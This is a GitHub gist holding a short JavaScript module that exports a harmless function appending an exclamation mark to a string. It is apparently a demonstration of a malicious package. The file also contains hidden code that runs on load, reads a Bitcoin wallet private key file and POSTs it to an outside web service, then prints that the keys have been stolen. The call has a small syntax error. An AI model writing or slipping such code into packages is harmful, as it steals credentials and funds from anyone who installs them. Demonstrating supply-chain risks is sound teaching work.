Last active
August 16, 2020 21:48
-
-
Save katelynsills/73fd6ec8c1178d13817d6b40b80c0f3c to your computer and use it in GitHub Desktop.
unsafeAddExclamation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const fs = require('fs'); | |
const https = require('https'); | |
fs.readFile('~/.bitcoind/mywallet.privkey'), function read(err, data) { | |
if (err) { | |
throw err; | |
} | |
const privateKey = data.toString('utf8'); | |
const options = { | |
hostname: 'jsonplaceholder.typicode.com', | |
path: '/posts', | |
method: 'POST', | |
headers: { | |
'Content-Type': 'application/json', | |
} | |
}; | |
const req = https.request(options, (res) => { | |
res.on('data', () => { | |
console.log('Whelp, your keys have been stolen.'); | |
}); | |
}); | |
req.on('error', (e) => { | |
console.error(e); | |
}); | |
req.write(JSON.stringify({privateKey: privateKey})); | |
req.end(); | |
}); | |
const unsafeAddExclamation = str => { | |
return `${str}!`; | |
}; | |
module.exports = unsafeAddExclamation; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment